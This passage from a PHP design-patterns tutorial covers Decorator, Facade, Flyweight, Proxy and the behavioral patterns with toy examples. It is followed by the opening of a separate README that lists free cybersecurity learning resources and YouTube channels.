return $this->name;
}
public function setSalary(float $salary)
{
$this->salary = $salary;
}
public function getSalary(): float
{
return $this->salary;
}
public function getRoles(): array
{
return $this->roles;
}
}
class Designer implements Employee
{
protected $salary;
protected $name;
protected $roles;
public function __construct(string $name, float $salary)
{
$this->name = $name;
$this->salary = $salary;
}
public function getName(): string
{
return $this->name;
}
public function setSalary(float $salary)
{
$this->salary = $salary;
}
public function getSalary(): float
{
return $this->salary;
}
public function getRoles(): array
{
return $this->roles;
}
}
```
Then we have an organization which consists of several different types of employees
```php
class Organization
{
protected $employees;
public function addEmployee(Employee $employee)
{
$this->employees[] = $employee;
}
public function getNetSalaries(): float
{
$netSalary = 0;
foreach ($this->employees as $employee) {
$netSalary += $employee->getSalary();
}
return $netSalary;
}
}
```
And then it can be used as
```php
// Prepare the employees
$john = new Developer('John Doe', 12000);
$jane = new Designer('Jane Doe', 15000);
// Add them to organization
$organization = new Organization();
$organization->addEmployee($john);
$organization->addEmployee($jane);
echo "Net salaries: " . $organization->getNetSalaries(); // Net Salaries: 27000
```
☕ Decorator
-------------
Real world example
> Imagine you run a car service shop offering multiple services. Now how do you calculate the bill to be charged? You pick one service and dynamically keep adding to it the prices for the provided services till you get the final cost. Here each type of service is a decorator.
In plain words
> Decorator pattern lets you dynamically change the behavior of an object at run time by wrapping them in an object of a decorator class.
Wikipedia says
> In object-oriented programming, the decorator pattern is a design pattern that allows behavior to be added to an individual object, either statically or dynamically, without affecting the behavior of other objects from the same class. The decorator pattern is often useful for adhering to the Single Responsibility Principle, as it allows functionality to be divided between classes with unique areas of concern.
**Programmatic Example**
Lets take coffee for example. First of all we have a simple coffee implementing the coffee interface
```php
interface Coffee
{
public function getCost();
public function getDescription();
}
class SimpleCoffee implements Coffee
{
public function getCost()
{
return 10;
}
public function getDescription()
{
return 'Simple coffee';
}
}
```
We want to make the code extensible to allow options to modify it if required. Lets make some add-ons (decorators)
```php
class MilkCoffee implements Coffee
{
protected $coffee;
public function __construct(Coffee $coffee)
{
$this->coffee = $coffee;
}
public function getCost()
{
return $this->coffee->getCost() + 2;
}
public function getDescription()
{
return $this->coffee->getDescription() . ', milk';
}
}
class WhipCoffee implements Coffee
{
protected $coffee;
public function __construct(Coffee $coffee)
{
$this->coffee = $coffee;
}
public function getCost()
{
return $this->coffee->getCost() + 5;
}
public function getDescription()
{
return $this->coffee->getDescription() . ', whip';
}
}
class VanillaCoffee implements Coffee
{
protected $coffee;
public function __construct(Coffee $coffee)
{
$this->coffee = $coffee;
}
public function getCost()
{
return $this->coffee->getCost() + 3;
}
public function getDescription()
{
return $this->coffee->getDescription() . ', vanilla';
}
}
```
Lets make a coffee now
```php
$someCoffee = new SimpleCoffee();
echo $someCoffee->getCost(); // 10
echo $someCoffee->getDescription(); // Simple Coffee
$someCoffee = new MilkCoffee($someCoffee);
echo $someCoffee->getCost(); // 12
echo $someCoffee->getDescription(); // Simple Coffee, milk
$someCoffee = new WhipCoffee($someCoffee);
echo $someCoffee->getCost(); // 17
echo $someCoffee->getDescription(); // Simple Coffee, milk, whip
$someCoffee = new VanillaCoffee($someCoffee);
echo $someCoffee->getCost(); // 20
echo $someCoffee->getDescription(); // Simple Coffee, milk, whip, vanilla
```
📦 Facade
----------------
Real world example
> How do you turn on the computer? "Hit the power button" you say! That is what you believe because you are using a simple interface that computer provides on the outside, internally it has to do a lot of stuff to make it happen. This simple interface to the complex subsystem is a facade.
In plain words
> Facade pattern provides a simplified interface to a complex subsystem.
Wikipedia says
> A facade is an object that provides a simplified interface to a larger body of code, such as a class library.
**Programmatic Example**
Taking our computer example from above. Here we have the computer class
```php
class Computer
{
public function getElectricShock()
{
echo "Ouch!";
}
public function makeSound()
{
echo "Beep beep!";
}
public function showLoadingScreen()
{
echo "Loading..";
}
public function bam()
{
echo "Ready to be used!";
}
public function closeEverything()
{
echo "Bup bup bup buzzzz!";
}
public function sooth()
{
echo "Zzzzz";
}
public function pullCurrent()
{
echo "Haaah!";
}
}
```
Here we have the facade
```php
class ComputerFacade
{
protected $computer;
public function __construct(Computer $computer)
{
$this->computer = $computer;
}
public function turnOn()
{
$this->computer->getElectricShock();
$this->computer->makeSound();
$this->computer->showLoadingScreen();
$this->computer->bam();
}
public function turnOff()
{
$this->computer->closeEverything();
$this->computer->pullCurrent();
$this->computer->sooth();
}
}
```
Now to use the facade
```php
$computer = new ComputerFacade(new Computer());
$computer->turnOn(); // Ouch! Beep beep! Loading.. Ready to be used!
$computer->turnOff(); // Bup bup buzzz! Haah! Zzzzz
```
🍃 Flyweight
---------
Real world example
> Did you ever have fresh tea from some stall? They often make more than one cup that you demanded and save the rest for any other customer so to save the resources e.g. gas etc. Flyweight pattern is all about that i.e. sharing.
In plain words
> It is used to minimize memory usage or computational expenses by sharing as much as possible with similar objects.
Wikipedia says
> In computer programming, flyweight is a software design pattern. A flyweight is an object that minimizes memory use by sharing as much data as possible with other similar objects; it is a way to use objects in large numbers when a simple repeated representation would use an unacceptable amount of memory.
**Programmatic example**
Translating our tea example from above. First of all we have tea types and tea maker
```php
// Anything that will be cached is flyweight.
// Types of tea here will be flyweights.
class KarakTea
{
}
// Acts as a factory and saves the tea
class TeaMaker
{
protected $availableTea = [];
public function make($preference)
{
if (empty($this->availableTea[$preference])) {
$this->availableTea[$preference] = new KarakTea();
}
return $this->availableTea[$preference];
}
}
```
Then we have the `TeaShop` which takes orders and serves them
```php
class TeaShop
{
protected $orders;
protected $teaMaker;
public function __construct(TeaMaker $teaMaker)
{
$this->teaMaker = $teaMaker;
}
public function takeOrder(string $teaType, int $table)
{
$this->orders[$table] = $this->teaMaker->make($teaType);
}
public function serve()
{
foreach ($this->orders as $table => $tea) {
echo "Serving tea to table# " . $table;
}
}
}
```
And it can be used as below
```php
$teaMaker = new TeaMaker();
$shop = new TeaShop($teaMaker);
$shop->takeOrder('less sugar', 1);
$shop->takeOrder('more milk', 2);
$shop->takeOrder('without sugar', 5);
$shop->serve();
// Serving tea to table# 1
// Serving tea to table# 2
// Serving tea to table# 5
```
🎱 Proxy
-------------------
Real world example
> Have you ever used an access card to go through a door? There are multiple options to open that door i.e. it can be opened either using access card or by pressing a button that bypasses the security. The door's main functionality is to open but there is a proxy added on top of it to add some functionality. Let me better explain it using the code example below.
In plain words
> Using the proxy pattern, a class represents the functionality of another class.
Wikipedia says
> A proxy, in its most general form, is a class functioning as an interface to something else. A proxy is a wrapper or agent object that is being called by the client to access the real serving object behind the scenes. Use of the proxy can simply be forwarding to the real object, or can provide additional logic. In the proxy extra functionality can be provided, for example caching when operations on the real object are resource intensive, or checking preconditions before operations on the real object are invoked.
**Programmatic Example**
Taking our security door example from above. Firstly we have the door interface and an implementation of door
```php
interface Door
{
public function open();
public function close();
}
class LabDoor implements Door
{
public function open()
{
echo "Opening lab door";
}
public function close()
{
echo "Closing the lab door";
}
}
```
Then we have a proxy to secure any doors that we want
```php
class SecuredDoor implements Door
{
protected $door;
public function __construct(Door $door)
{
$this->door = $door;
}
public function open($password)
{
if ($this->authenticate($password)) {
$this->door->open();
} else {
echo "Big no! It ain't possible.";
}
}
public function authenticate($password)
{
return $password === '$ecr@t';
}
public function close()
{
$this->door->close();
}
}
```
And here is how it can be used
```php
$door = new SecuredDoor(new LabDoor());
$door->open('invalid'); // Big no! It ain't possible.
$door->open('$ecr@t'); // Opening lab door
$door->close(); // Closing lab door
```
Yet another example would be some sort of data-mapper implementation. For example, I recently made an ODM (Object Data Mapper) for MongoDB using this pattern where I wrote a proxy around mongo classes while utilizing the magic method `__call()`. All the method calls were proxied to the original mongo class and result retrieved was returned as it is but in case of `find` or `findOne` data was mapped to the required class objects and the object was returned instead of `Cursor`.
Behavioral Design Patterns
==========================
In plain words
> It is concerned with assignment of responsibilities between the objects. What makes them different from structural patterns is they don't just specify the structure but also outline the patterns for message passing/communication between them. Or in other words, they assist in answering "How to run a behavior in software component?"
Wikipedia says
> In software engineering, behavioral design patterns are design patterns that identify common communication patterns between objects and realize these patterns. By doing so, these patterns increase flexibility in carrying out this communication.
* [Chain of Responsibility](#-chain-of-responsibility)
* [Command](#-command)
* [Iterator](#-iterator)
* [Mediator](#-mediator)
* [Memento](#-memento)
* [Observer](#-observer)
* [Visitor](#-visitor)
* [Strategy](#-strategy)
* [State](#-state)
* [Template Method](#-template-method)
🔗 Chain of Responsibility
-----------------------
Real world example
> For example, you have three payment methods (`A`, `B` and `C`) setup in your account; each having a different amount in it. `A` has 100 USD, `B` has 300 USD and `C` having 1000 USD and the preference for payments is chosen as `A` then `B` then `C`. You try to purchase something that is worth 210 USD. Using Chain of Responsibility, first of all account `A` will be checked if it can make the purchase, if yes purchase will be made and the chain will be broken. If not, request will move forward to account `B` checking for amount if yes chain will be broken otherwise the request will keep forwarding till it finds the suitable handler. Here `A`, `B` and `C` are links of the chain and the whole phenomenon is Chain of Responsibility.
In plain words
> It helps building a chain of objects. Request enters from one end and keeps going from object to object till it finds the suitable handler.
Wikipedia says
> In object-oriented design, the chain-of-responsibility pattern is a design pattern consisting of a source of command objects and a series of processing objects. Each processing object contains logic that defines the types of command objects that it can handle; the rest are passed to the next processing object in the chain.
**Programmatic Example**
Translating our account example above. First of all we have a base account having the logic for chaining the accounts together and some accounts
```php
abstract class Account
{
protected $successor;
protected $balance;
public function setNext(Account $account)
{
$this->successor = $account;
}
public function pay(float $amountToPay)
{
if ($this->canPay($amountToPay)) {
echo sprintf('Paid %s using %s' . PHP_EOL, $amountToPay, get_called_class());
} elseif ($this->successor) {
echo sprintf('Cannot pay using %s. Proceeding ..' . PHP_EOL, get_called_class());
$this->successor->pay($amountToPay);
} else {
throw new Exception('None of the accounts have enough balance');
}
}
public function canPay($amount): bool
{
return $this->balance >= $amount;
}
}
class Bank extends Account
{
protected $balance;
public function __construct(float $balance)
{
$this->balance = $balance;
}
}
class Paypal extends Account
{
protected $balance;
public function __construct(float $balance)
{
$this->balance = $balance;
}
}
class Bitcoin extends Account
{
protected $balance;
public function __construct(float $balance)
{
$this->balance = $balance;
}
}
```
Now let's prepare the chain using the links defined above (i.e. Bank, Paypal, Bitcoin)
```php
// Let's prepare a chain like below
// $bank->$paypal->$bitcoin
//
// First priority bank
// If bank can't pay then paypal
// If paypal can't pay then bit coin
$bank = new Bank(100); // Bank with balance 100
$paypal = new Paypal(200); // Paypal with balance 200
$bitcoin = new Bitcoin(300); // Bitcoin with balance 300
$bank->setNext($paypal);
$paypal->setNext($bitcoin);
// Let's try to pay using the first priority i.e. bank
$bank->pay(259);
// Output will be
// ==============
// Cannot pay using bank. Proceeding ..
// Cannot pay using paypal. Proceeding ..:
// Paid 259 using Bitcoin!
```
👮 Command
-------
Real world example
> A generic example would be you ordering food at a restaurant. You (i.e. `Client`) ask the waiter (i.e. `Invoker`) to bring some food (i.e. `Command`) and waiter simply forwards the request to Chef (i.e. `Receiver`) who has the knowledge of what and how to cook.
> Another example would be you (i.e. `Client`) switching on (i.e. `Command`) the television (i.e. `Receiver`) using a remote control (`Invoker`).
In plain words
> Allows you to encapsulate actions in objects. The key idea behind this pattern is to provide the means to decouple client from receiver.
Wikipedia says
> In object-oriented programming, the command pattern is a behavioral design pattern in which an object is used to encapsulate all information needed to perform an action or trigger an event at a later time. This information includes the method name, the object that owns the method and values for the method parameters.
**Programmatic Example**
First of all we have the receiver that has the implementation of every action that could be performed
```php
// Receiver
class Bulb
{
public function turnOn()
{
echo "Bulb has been lit";
}
public function turnOff()
{
echo "Darkness!";
}
}
```
then we have an interface that each of the commands are going to implement and then we have a set of commands
```php
interface Command
{
public function execute();
public function undo();
public function redo();
}
// Command
class TurnOn implements Command
{
protected $bulb;
public function __construct(Bulb $bulb)
{
$this->bulb = $bulb;
}
public function execute()
{
$this->bulb->turnOn();
}
public function undo()
{
$this->bulb->turnOff();
}
public function redo()
{
$this->execute();
}
}
class TurnOff implements Command
{
protected $bulb;
public function __construct(Bulb $bulb)
{
$this->bulb = $bulb;
}
public function execute()
{
$this->bulb->turnOff();
}
public function undo()
{
$this->bulb->turnOn();
}
public function redo()
{
$this->execute();
}
}
```
Then we have an `Invoker` with whom the client will interact to process any commands
```php
// Invoker
class RemoteControl
{
public function submit(Command $command)
{
$command->execute();
}
}
```
Finally let's see how we can use it in our client
```php
$bulb = new Bulb();
$turnOn = new TurnOn($bulb);
$turnOff = new TurnOff($bulb);
$remote = new RemoteControl();
$remote->submit($turnOn); // Bulb has been lit!
$remote->submit($turnOff); // Darkness!
```
Command pattern can also be used to implement a transaction based system. Where you keep maintaining the history of commands as soon as you execute them. If the final command is successfully executed, all good otherwise just iterate through the history and keep executing the `undo` on all the executed commands.
➿ Iterator
--------
Real world example
> An old radio set will be a good example of iterator, where user could start at some channel and then use next or previous buttons to go through the respective channels. Or take an example of MP3 player or a TV set where you could press the next and previous buttons to go through the consecutive channels or in other words they all provide an interface to iterate through the respective channels, songs or radio stations.
In plain words
> It presents a way to access the elements of an object without exposing the underlying presentation.
Wikipedia says
> In object-oriented programming, the iterator pattern is a design pattern in which an iterator is used to traverse a container and access the container's elements. The iterator pattern decouples algorithms from containers; in some cases, algorithms are necessarily container-specific and thus cannot be decoupled.
**Programmatic example**
In PHP it is quite easy to implement using SPL (Standard PHP Library). Translating our radio stations example from above. First of all we have `RadioStation`
```php
class RadioStation
{
protected $frequency;
public function __construct(float $frequency)
{
$this->frequency = $frequency;
}
public function getFrequency(): float
{
return $this->frequency;
}
}
```
Then we have our iterator
```php
use Countable;
use Iterator;
class StationList implements Countable, Iterator
{
/** @var RadioStation[] $stations */
protected $stations = [];
/** @var int $counter */
protected $counter;
public function addStation(RadioStation $station)
{
$this->stations[] = $station;
}
public function removeStation(RadioStation $toRemove)
{
$toRemoveFrequency = $toRemove->getFrequency();
$this->stations = array_filter($this->stations, function (RadioStation $station) use ($toRemoveFrequency) {
return $station->getFrequency() !== $toRemoveFrequency;
});
}
public function count(): int
{
return count($this->stations);
}
public function current(): RadioStation
{
return $this->stations[$this->counter];
}
public function key()
{
return $this->counter;
}
public function next()
{
$this->counter++;
}
public function rewind()
{
$this->counter = 0;
}
public function valid(): bool
{
return isset($this->stations[$this->counter]);
}
}
```
And then it can be used as
```php
$stationList = new StationList();
$stationList->addStation(new RadioStation(89));
$stationList->addStation(new RadioStation(101));
$stationList->addStation(new RadioStation(102));
$stationList->addStation(new RadioStation(103.2));
foreach($stationList as $station) {
echo $station->getFrequency() . PHP_EOL;
}
$stationList->removeStation(new RadioStation(89)); // Will remove station 89
```
👽 Mediator
========
Real world example
> A general example would be when you talk to someone on your mobile phone, there is a network provider sitting between you and them and your conversation goes through it instead of being directly sent. In this case network provider is mediator.
In plain words
> Mediator pattern adds a third party object (called mediator) to control the interaction between two objects (called colleagues). It helps reduce the coupling between the classes communicating with each other. Because now they don't need to have the knowledge of each other's implementation.
Wikipedia says
> In software engineering, the mediator pattern defines an object that encapsulates how a set of objects interact. This pattern is considered to be a behavioral pattern due to the way it can alter the program's running behavior.
**Programmatic Example**
Here is the simplest example of a chat room (i.e. mediator) with users (i.e. colleagues) sending messages to each other.
First of all, we have the mediator i.e. the chat room
```php
interface ChatRoomMediator
{
public function showMessage(User $user, string $message);
}
// Mediator
class ChatRoom implements ChatRoomMediator
{
public function showMessage(User $user, string $message)
{
$time = date('M d, y H:i');
$sender = $user->getName();
echo $time . '[' . $sender . ']:' . $message;
}
}
```
Then we have our users i.e. colleagues
```php
class User {
protected $name;
protected $chatMediator;
public function __construct(string $name, ChatRoomMediator $chatMediator) {
$this->name = $name;
$this->chatMediator = $chatMediator;
}
public function getName() {
return $this->name;
}
public function send($message) {
$this->chatMediator->showMessage($this, $message);
}
}
```
And the usage
```php
$mediator = new ChatRoom();
$john = new User('John Doe', $mediator);
$jane = new User('Jane Doe', $mediator);
$john->send('Hi there!');
$jane->send('Hey!');
// Output will be
// Feb 14, 10:58 [John]: Hi there!
// Feb 14, 10:58 [Jane]: Hey!
```
💾 Memento
-------
Real world example
> Take the example of calculator (i.e. originator), where whenever you perform some calculation the last calculation is saved in memory (i.e. memento) so that you can get back to it and maybe get it restored using some action buttons (i.e. caretaker).
In plain words
> Memento pattern is about capturing and storing the current state of an object in a manner that it can be restored later on in a smooth manner.
Wikipedia says
> The memento pattern is a software design pattern that provides the ability to restore an object to its previous state (undo via rollback).
Usually useful when you need to provide some sort of undo functionality.
**Programmatic Example**
Lets take an example of text editor which keeps saving the state from time to time and that you can restore if you want.
First of all we have our memento object that will be able to hold the editor state
```php
class EditorMemento
{
protected $content;
public function __construct(string $content)
{
$this->content = $content;
}
public function getContent()
{
return $this->content;
}
}
```
Then we have our editor i.e. originator that is going to use memento object
```php
class Editor
{
protected $content = '';
public function type(string $words)
{
$this->content = $this->content . ' ' . $words;
}
public function getContent()
{
return $this->content;
}
public function save()
{
return new EditorMemento($this->content);
}
public function restore(EditorMemento $memento)
{
$this->content = $memento->getContent();
}
}
```
And then it can be used as
```php
$editor = new Editor();
// Type some stuff
$editor->type('This is the first sentence.');
$editor->type('This is second.');
// Save the state to restore to : This is the first sentence. This is second.
$saved = $editor->save();
// Type some more
$editor->type('And this is third.');
// Output: Content before Saving
echo $editor->getContent(); // This is the first sentence. This is second. And this is third.
// Restoring to last saved state
$editor->restore($saved);
$editor->getContent(); // This is the first sentence. This is second.
```
😎 Observer
--------
Real world example
> A good example would be the job seekers where they subscribe to some job posting site and they are notified whenever there is a matching job opportunity.
In plain words
> Defines a dependency between objects so that whenever an object changes its state, all its dependents are notified.
Wikipedia says
> The observer pattern is a software design pattern in which an object, called the subject, maintains a list of its dependents, called observers, and notifies them automatically of any state changes, usually by calling one of their methods.
**Programmatic example**
Translating our example from above. First of all we have job seekers that need to be notified for a job posting
```php
class JobPost
{
protected $title;
public function __construct(string $title)
{
$this->title = $title;
}
public function getTitle()
{
return $this->title;
}
}
class JobSeeker implements Observer
{
protected $name;
public function __construct(string $name)
{
$this->name = $name;
}
public function onJobPosted(JobPost $job)
{
// Do something with the job posting
echo 'Hi ' . $this->name . '! New job posted: '. $job->getTitle();
}
}
```
Then we have our job postings to which the job seekers will subscribe
```php
class EmploymentAgency implements Observable
{
protected $observers = [];
protected function notify(JobPost $jobPosting)
{
foreach ($this->observers as $observer) {
$observer->onJobPosted($jobPosting);
}
}
public function attach(Observer $observer)
{
$this->observers[] = $observer;
}
public function addJob(JobPost $jobPosting)
{
$this->notify($jobPosting);
}
}
```
Then it can be used as
```php
// Create subscribers
$johnDoe = new JobSeeker('John Doe');
$janeDoe = new JobSeeker('Jane Doe');
// Create publisher and attach subscribers
$jobPostings = new EmploymentAgency();
$jobPostings->attach($johnDoe);
$jobPostings->attach($janeDoe);
// Add a new job and see if subscribers get notified
$jobPostings->addJob(new JobPost('Software Engineer'));
// Output
// Hi John Doe! New job posted: Software Engineer
// Hi Jane Doe! New job posted: Software Engineer
```
🏃 Visitor
-------
Real world example
> Consider someone visiting Dubai. They just need a way (i.e. visa) to enter Dubai. After arrival, they can come and visit any place in Dubai on their own without having to ask for permission or to do some leg work in order to visit any place here; just let them know of a place and they can visit it. Visitor pattern lets you do just that, it helps you add places to visit so that they can visit as much as they can without having to do any legwork.
In plain words
> Visitor pattern lets you add further operations to objects without having to modify them.
Wikipedia says
> In object-oriented programming and software engineering, the visitor design pattern is a way of separating an algorithm from an object structure on which it operates. A practical result of this separation is the ability to add new operations to existing object structures without modifying those structures. It is one way to follow the open/closed principle.
**Programmatic example**
Let's take an example of a zoo simulation where we have several different kinds of animals and we have to make them Sound. Let's translate this using visitor pattern
```php
// Visitee
interface Animal
{
public function accept(AnimalOperation $operation);
}
// Visitor
interface AnimalOperation
{
public function visitMonkey(Monkey $monkey);
public function visitLion(Lion $lion);
public function visitDolphin(Dolphin $dolphin);
}
```
Then we have our implementations for the animals
```php
class Monkey implements Animal
{
public function shout()
{
echo 'Ooh oo aa aa!';
}
public function accept(AnimalOperation $operation)
{
$operation->visitMonkey($this);
}
}
class Lion implements Animal
{
public function roar()
{
echo 'Roaaar!';
}
public function accept(AnimalOperation $operation)
{
$operation->visitLion($this);
}
}
class Dolphin implements Animal
{
public function speak()
{
echo 'Tuut tuttu tuutt!';
}
public function accept(AnimalOperation $operation)
{
$operation->visitDolphin($this);
}
}
```
Let's implement our visitor
```php
class Speak implements AnimalOperation
{
public function visitMonkey(Monkey $monkey)
{
$monkey->shout();
}
public function visitLion(Lion $lion)
{
$lion->roar();
}
public function visitDolphin(Dolphin $dolphin)
{
$dolphin->speak();
}
}
```
And then it can be used as
```php
$monkey = new Monkey();
$lion = new Lion();
$dolphin = new Dolphin();
$speak = new Speak();
$monkey->accept($speak); // Ooh oo aa aa!
$lion->accept($speak); // Roaaar!
$dolphin->accept($speak); // Tuut tutt tuutt!
```
We could have done this simply by having an inheritance hierarchy for the animals but then we would have to modify the animals whenever we would have to add new actions to animals. But now we will not have to change them. For example, let's say we are asked to add the jump behavior to the animals, we can simply add that by creating a new visitor i.e.
```php
class Jump implements AnimalOperation
{
public function visitMonkey(Monkey $monkey)
{
echo 'Jumped 20 feet high! on to the tree!';
}
public function visitLion(Lion $lion)
{
echo 'Jumped 7 feet! Back on the ground!';
}
public function visitDolphin(Dolphin $dolphin)
{
echo 'Walked on water a little and disappeared';
}
}
```
And for the usage
```php
$jump = new Jump();
$monkey->accept($speak); // Ooh oo aa aa!
$monkey->accept($jump); // Jumped 20 feet high! on to the tree!
$lion->accept($speak); // Roaaar!
$lion->accept($jump); // Jumped 7 feet! Back on the ground!
$dolphin->accept($speak); // Tuut tutt tuutt!
$dolphin->accept($jump); // Walked on water a little and disappeared
```
💡 Strategy
--------
Real world example
> Consider the example of sorting, we implemented bubble sort but the data started to grow and bubble sort started getting very slow. In order to tackle this we implemented Quick sort. But now although the quick sort algorithm was doing better for large datasets, it was very slow for smaller datasets. In order to handle this we implemented a strategy where for small datasets, bubble sort will be used and for larger, quick sort.
In plain words
> Strategy pattern allows you to switch the algorithm or strategy based upon the situation.
Wikipedia says
> In computer programming, the strategy pattern (also known as the policy pattern) is a behavioural software design pattern that enables an algorithm's behavior to be selected at runtime.
**Programmatic example**
Translating our example from above. First of all we have our strategy interface and different strategy implementations
```php
interface SortStrategy
{
public function sort(array $dataset): array;
}
class BubbleSortStrategy implements SortStrategy
{
public function sort(array $dataset): array
{
echo "Sorting using bubble sort";
// Do sorting
return $dataset;
}
}
class QuickSortStrategy implements SortStrategy
{
public function sort(array $dataset): array
{
echo "Sorting using quick sort";
// Do sorting
return $dataset;
}
}
```
And then we have our client that is going to use any strategy
```php
class Sorter
{
protected $sorterSmall;
protected $sorterBig;
public function __construct(SortStrategy $sorterSmall, SortStrategy $sorterBig)
{
$this->sorterSmall = $sorterSmall;
$this->sorterBig = $sorterBig;
}
public function sort(array $dataset): array
{
if (count($dataset) > 5) {
return $this->sorterBig->sort($dataset);
} else {
return $this->sorterSmall->sort($dataset);
}
}
}
```
And it can be used as
```php
$smalldataset = [1, 3, 4, 2];
$bigdataset = [1, 4, 3, 2, 8, 10, 5, 6, 9, 7];
$sorter = new Sorter(new BubbleSortStrategy(), new QuickSortStrategy());
$sorter->sort($dataset); // Output : Sorting using bubble sort
$sorter->sort($bigdataset); // Output : Sorting using quick sort
```
💢 State
-----
Real world example
> Imagine you are using some drawing application, you choose the paint brush to draw. Now the brush changes its behavior based on the selected color i.e. if you have chosen red color it will draw in red, if blue then it will be in blue etc.
In plain words
> It lets you change the behavior of a class when the state changes.
Wikipedia says
> The state pattern is a behavioral software design pattern that implements a state machine in an object-oriented way. With the state pattern, a state machine is implemented by implementing each individual state as a derived class of the state pattern interface, and implementing state transitions by invoking methods defined by the pattern's superclass.
> The state pattern can be interpreted as a strategy pattern which is able to switch the current strategy through invocations of methods defined in the pattern's interface.
**Programmatic example**
Let's take an example of a phone. First of all we have our state interface and some state implementations
```php
interface PhoneState {
public function pickUp(): PhoneState;
public function hangUp(): PhoneState;
public function dial(): PhoneState;
}
// states implementation
class PhoneStateIdle implements PhoneState {
public function pickUp(): PhoneState {
return new PhoneStatePickedUp();
}
public function hangUp(): PhoneState {
throw new Exception("already idle");
}
public function dial(): PhoneState {
throw new Exception("unable to dial in idle state");
}
}
class PhoneStatePickedUp implements PhoneState {
public function pickUp(): PhoneState {
throw new Exception("already picked up");
}
public function hangUp(): PhoneState {
return new PhoneStateIdle();
}
public function dial(): PhoneState {
return new PhoneStateCalling();
}
}
class PhoneStateCalling implements PhoneState {
public function pickUp(): PhoneState {
throw new Exception("already picked up");
}
public function hangUp(): PhoneState {
return new PhoneStateIdle();
}
public function dial(): PhoneState {
throw new Exception("already dialing");
}
}
```
Then we have our Phone class that changes the state on different behavior calls
```php
class Phone {
private $state;
public function __construct() {
$this->state = new PhoneStateIdle();
}
public function pickUp() {
$this->state = $this->state->pickUp();
}
public function hangUp() {
$this->state = $this->state->hangUp();
}
public function dial() {
$this->state = $this->state->dial();
}
}
```
And then it can be used as follows and it will call the relevant state methods:
```php
$phone = new Phone();
$phone->pickUp();
$phone->dial();
```
📒 Template Method
---------------
Real world example
> Suppose we are getting some house built. The steps for building might look like
> - Prepare the base of house
> - Build the walls
> - Add roof
> - Add other floors
> The order of these steps could never be changed i.e. you can't build the roof before building the walls etc but each of the steps could be modified for example walls can be made of wood or polyester or stone.
In plain words
> Template method defines the skeleton of how a certain algorithm could be performed, but defers the implementation of those steps to the children classes.
Wikipedia says
> In software engineering, the template method pattern is a behavioral design pattern that defines the program skeleton of an algorithm in an operation, deferring some steps to subclasses. It lets one redefine certain steps of an algorithm without changing the algorithm's structure.
**Programmatic Example**
Imagine we have a build tool that helps us test, lint, build, generate build reports (i.e. code coverage reports, linting report etc) and deploy our app on the test server.
First of all we have our base class that specifies the skeleton for the build algorithm
```php
abstract class Builder
{
// Template method
final public function build()
{
$this->test();
$this->lint();
$this->assemble();
$this->deploy();
}
abstract public function test();
abstract public function lint();
abstract public function assemble();
abstract public function deploy();
}
```
Then we can have our implementations
```php
class AndroidBuilder extends Builder
{
public function test()
{
echo 'Running android tests';
}
public function lint()
{
echo 'Linting the android code';
}
public function assemble()
{
echo 'Assembling the android build';
}
public function deploy()
{
echo 'Deploying android build to server';
}
}
class IosBuilder extends Builder
{
public function test()
{
echo 'Running ios tests';
}
public function lint()
{
echo 'Linting the ios code';
}
public function assemble()
{
echo 'Assembling the ios build';
}
public function deploy()
{
echo 'Deploying ios build to server';
}
}
```
And then it can be used as
```php
$androidBuilder = new AndroidBuilder();
$androidBuilder->build();
// Output:
// Running android tests
// Linting the android code
// Assembling the android build
// Deploying android build to server
$iosBuilder = new IosBuilder();
$iosBuilder->build();
// Output:
// Running ios tests
// Linting the ios code
// Assembling the ios build
// Deploying ios build to server
```
## 🚦 Wrap Up Folks
And that about wraps it up. I will continue to improve this, so you might want to watch/star this repository to revisit. Also, I have plans on writing the same about the architectural patterns, stay tuned for it.
## 👬 Contribution
- Report issues
- Open pull request with improvements
- Spread the word
- Reach out with any feedback [](https://twitter.com/kamranahmedse)
## License
[](https://creativecommons.org/licenses/by/4.0/)
|
# What is Davy-Jones-Locker ?
Getting FREE Cyber Security Resources have been a challenge always. Access Davy-Jones-Locker to get all what you might need to upskill yourself and create an impact in the InfoSec Community.
* In return get me some subscribers for my YouTube Channel👉 https://www.youtube.com/c/BlackPerl
* If you like to support my creation and pay me back a little, you can buy me a coffee ☕ https://www.buymeacoffee.com/BlackPerl
<p align="center"> <img src="Free.png" width="400" height="300"> </p>
# CATEGORIES
1. [YouTube Channels](#YouTube-Channels)
2. [Links to Remember](#Links)
3. [Twitter Handle to Follow](#Twitter-Handles)
4. [Conferences](#conferences)
5. [Instructor Led Webinar & Workshops](#Instructor-Led-Webinar-&-Workshops)
6. [Training](#Training)
7. [References-Tools](#References-Tools)
8. [The Ultimate List of Cheet-Sheets](#The-Ultimate-List-of-CheatSheets)
9. [DFIR PODCasts](#DFIR-PODCasts)
## YouTube-Channels
* **BlackPerl** - From the Owner (Which is me 🤣)BlackPerl is here to help you AMPLIFY your CYBER SECURITY knowledge. It's not JUST about general knowledge, but I'll go and deep dive in some areas for INCIDENT RESPONSE, DIGITAL FORENSICS Fundamental Ideas, Process overview, and how someone can really get deeper ideas around them. I'll try to discuss my real world experience around DFIR to help you to improve our skills. Since KNOWLEDGE grows by sharing, my whole intention is to share our real life experiences while we're working on different INFOSEC fields to help all to get in depth. Access the Channel Here- https://www.youtube.com/c/BlackPerl
<p align="center"> <img src="Presentation1.jpg" width="500" height="300"> </p>
* **SimplyCyber** - The Channel is maintained by Geral Auger and he creates really awesome content for InfoSec to help IT or Information Security professionals take their career further, faster. There have been a Collab done with BlackPerl + Simply-Cyber. Access that Episode here- https://youtu.be/gfX6GqGN9Uw
* **HackADay** - Hackaday serves up Fresh Hacks Every Day from around the Internet. https://hackaday.com/
* **TheCyberMentor** - Heath Adams uploads regular videos related to various facets of cyber security, from bug bounty hunts to specific pentest methodologies like API, buffer overflows, networking. https://www.youtube.com/c/TheCyberMentor/
* **Grant Collins** - Grant uploads videos regarding breaking into cybersecurity, various cybersecurity projects, building up a home lab amongst many others. Also has a companion discord channel and a resource website. https://www.youtube.com/channel/UCTLUi3oc1-a7dS-2-YgEKmA/featured
* **DedSec** - lots of brief screenshot how-to vids based in Kali, no recent posts. https://www.youtube.com/channel/UCx34ZZW2KgezfUPPeL6m8Dw
* **danooct1** - lots of brief screenshot, how-to vids regarding malware, regular content updates, 186K followers https://www.youtube.com/channel/UCqbkm47qBxDj-P3lI9voIAw
* **BalCCon** - Balkan Computer Congress - Long con-style talks from the Balkan Computer Congress, doesn’t update regularlyhttps://www.youtube.com/channel/UCoHypmu8rxlB5Axh5JxFZsA
